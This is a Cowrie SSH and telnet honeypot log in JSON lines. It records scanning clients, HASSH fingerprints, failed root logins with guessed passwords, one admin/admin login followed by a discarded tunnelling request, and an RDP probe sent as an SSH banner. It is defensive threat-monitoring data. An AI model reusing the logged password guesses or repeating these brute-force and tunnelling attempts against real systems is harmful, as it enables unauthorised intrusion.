{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:67:60:1c:17:b0:fb:83:28:0d:db:0c:e5:8c:de:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKVN7fmfpcBwLn5aqfJQ38TNyeQ6UgTW9bS2W6Kb3vkU8RRAsdZWUnZygtvulfT/8Zo9IEwD2AkrglwbxcAYBnbhwQgMje9PYimb3C1Q4RfeYw8PSuiauRhMfpl+Cg1GQCgWhhRBJytLVas9uncqQ1C48n4Gd+2msCcsNvUZflCEAmYfx06vIlo5CcxaifcOjRWbOXt/KLxeMOUX0twVuKV+vaUlz1LI57/cJsDUIk6IL3RWM2l5eneuYLSKjHMn9m5dZA/2z79VjqL30apllpcXtf+epDBu59PA8caRfXhzbtLK1QFUSCucqD9FUlWFL/Xz00GAoln+LBE8GfnJjPM1S3U82uMnvx4oe/dOIGPRUtbSKh2ohDVkwdyB4N8TPWiz0prevskgo2v6R9wmEDDmc6w4kgsjnD2bCKiaQpJfNiwNFUR0oaDGlNn9xSXoZf0hJChbc8EtkOzFYiu3LknDImPyvPs6/z0roPPPjH8/+odTbsg955uyVvvETlk3KP8OO8GTtg4mbO+sOqiSGzycLRQvv/xYZOT2LTlafoj8IMXo0y1zQE3dpWJxZpZe22PqaB9Wglwp6Je7Ikqf8VM5jQc0NYO1Ei6TODAG+UIP+udb8Xg0zxSzUqzfKGg+9camDmJH1xaSOomgp/OFJyioOHOPnxU7XHacd97JaA3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:30.019668Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:c3:13:91:f1:f5:8f:cb:5c:cd:ed:85:d2:8c:d1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv4S8vHcIG8c79udaCipaR/eZuxgoXzkPzmzoKdxtFEauEo0xswj/IZwpaGOImI7qDhPUWZia09RYcnd+jCWjIVzHKdhLvcBZX7IS+A4FpfTRGCuGmtFpX6vlIR6Xt05NMua7GlbMch9hOTzmW0aZe6SllL3lx9kUgNqDzYWRDz51vI2QkWKsHHnj2sV/EVy5ByRURUl0u7YO4jXTD2HHrghm+Cz3PNANCaaGBXTjkhflCbl+DMb1cKxZJF0wBJYBJkNw5/aKNrB6Vs3to3/C1/bXKzgksVq6tPdmnDoBqaCMV9ByHBlq56oz5yPB0/F3jDJljodqvnDunG/+XMtSL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:c3:13:91:f1:f5:8f:cb:5c:cd:ed:85:d2:8c:d1:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:30.109958Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:c3:13:91:f1:f5:8f:cb:5c:cd:ed:85:d2:8c:d1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv4S8vHcIG8c79udaCipaR/eZuxgoXzkPzmzoKdxtFEauEo0xswj/IZwpaGOImI7qDhPUWZia09RYcnd+jCWjIVzHKdhLvcBZX7IS+A4FpfTRGCuGmtFpX6vlIR6Xt05NMua7GlbMch9hOTzmW0aZe6SllL3lx9kUgNqDzYWRDz51vI2QkWKsHHnj2sV/EVy5ByRURUl0u7YO4jXTD2HHrghm+Cz3PNANCaaGBXTjkhflCbl+DMb1cKxZJF0wBJYBJkNw5/aKNrB6Vs3to3/C1/bXKzgksVq6tPdmnDoBqaCMV9ByHBlq56oz5yPB0/F3jDJljodqvnDunG/+XMtSL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:30.114518Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:30.206300Z","src_ip":"23.95.20.168","session":"ed05e9319471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64119,"dst_ip":"159.203.135.109","dst_port":22,"session":"d43787908b4c","protocol":"ssh","message":"New connection: 152.42.212.128:64119 (159.203.135.109:22) [session: d43787908b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:31.777075Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:31.782099Z","src_ip":"152.42.212.128","session":"d43787908b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:31.786012Z","src_ip":"152.42.212.128","session":"d43787908b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62022,"dst_ip":"10.17.0.5","dst_port":22,"session":"b80049549fbc","protocol":"ssh","message":"New connection: 87.251.64.176:62022 (10.17.0.5:22) [session: b80049549fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:37.429876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:37.434403Z","src_ip":"87.251.64.176","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:37.530674Z","src_ip":"87.251.64.176","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:37.821319Z","src_ip":"87.251.64.176","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:37.920508Z","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:38.017713Z","src_ip":"87.251.64.176","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:38.116734Z","src_ip":"87.251.64.176","session":"b80049549fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":36426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e297ac9eda0b","protocol":"ssh","message":"New connection: 43.134.142.250:36426 (10.17.0.5:22) [session: e297ac9eda0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:40.417169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:40.422047Z","src_ip":"43.134.142.250","session":"e297ac9eda0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:40.660078Z","src_ip":"43.134.142.250","session":"e297ac9eda0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123a","message":"login attempt [root/123123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:41.641007Z","src_ip":"43.134.142.250","session":"e297ac9eda0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:42.882108Z","src_ip":"43.134.142.250","session":"e297ac9eda0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.12499284744263,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:45.976647Z","src_ip":"152.42.224.71","session":"a83bfd1c7bbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece15570d8af","protocol":"telnet","message":"New connection: 152.42.224.71:38722 (10.17.0.5:23) [session: ece15570d8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:50.334131Z"}
{"eventid":"cowrie.session.closed","duration":28.788090467453003,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:52.429909Z","src_ip":"152.42.224.71","session":"e56f057d56ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"7501b68bd0a2","protocol":"telnet","message":"New connection: 152.42.224.71:38732 (10.17.0.5:23) [session: 7501b68bd0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:53.758406Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38744,"dst_ip":"10.17.0.5","dst_port":23,"session":"65050159b68f","protocol":"telnet","message":"New connection: 152.42.224.71:38744 (10.17.0.5:23) [session: 65050159b68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:55.202639Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57850,"dst_ip":"10.17.0.5","dst_port":23,"session":"395c255574d7","protocol":"telnet","message":"New connection: 152.42.224.71:57850 (10.17.0.5:23) [session: 395c255574d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:58.753663Z"}
{"eventid":"cowrie.session.closed","duration":51.75203847885132,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:59.265110Z","src_ip":"152.42.224.71","session":"386d2771e627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57858,"dst_ip":"10.17.0.5","dst_port":23,"session":"433c1267e2ad","protocol":"telnet","message":"New connection: 152.42.224.71:57858 (10.17.0.5:23) [session: 433c1267e2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:51:59.797599Z"}
{"eventid":"cowrie.session.closed","duration":37.776350259780884,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:04.510605Z","src_ip":"152.42.224.71","session":"57dd523a02fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":58852,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b5448ad0f5","protocol":"ssh","message":"New connection: 79.117.24.180:58852 (10.17.0.5:22) [session: 16b5448ad0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:05.316622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:05.329393Z","src_ip":"79.117.24.180","session":"16b5448ad0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:05.435754Z","src_ip":"79.117.24.180","session":"16b5448ad0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas123","message":"login attempt [root/lucas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:05.890254Z","src_ip":"79.117.24.180","session":"16b5448ad0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29962,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac05feafa987","protocol":"ssh","message":"New connection: 38.93.206.2:29962 (10.17.0.5:22) [session: ac05feafa987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:06.854131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:06.858991Z","src_ip":"38.93.206.2","session":"ac05feafa987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:06.910763Z","src_ip":"38.93.206.2","session":"ac05feafa987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:06.999389Z","src_ip":"79.117.24.180","session":"16b5448ad0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:07.062243Z","src_ip":"38.93.206.2","session":"ac05feafa987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:08.114766Z","src_ip":"38.93.206.2","session":"ac05feafa987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40756,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4e147904f4f","protocol":"telnet","message":"New connection: 152.42.224.71:40756 (10.17.0.5:23) [session: e4e147904f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:10.333639Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7a2efce1e6","protocol":"telnet","message":"New connection: 152.42.224.71:40758 (10.17.0.5:23) [session: 5b7a2efce1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:11.303156Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":54120,"dst_ip":"10.17.0.5","dst_port":22,"session":"432b27b60ac3","protocol":"ssh","message":"New connection: 171.244.37.103:54120 (10.17.0.5:22) [session: 432b27b60ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:11.470270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:11.474324Z","src_ip":"171.244.37.103","session":"432b27b60ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:11.720220Z","src_ip":"171.244.37.103","session":"432b27b60ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.35767936706543,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:12.111200Z","src_ip":"152.42.224.71","session":"395c255574d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"pham","message":"login attempt [root/pham] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:12.734627Z","src_ip":"171.244.37.103","session":"432b27b60ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.242","src_port":59796,"dst_ip":"10.17.0.5","dst_port":22,"session":"61562e403aa8","protocol":"ssh","message":"New connection: 78.111.67.242:59796 (10.17.0.5:22) [session: 61562e403aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:13.630887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:52:13.635713Z","src_ip":"78.111.67.242","session":"61562e403aa8","protocol":"ssh"}
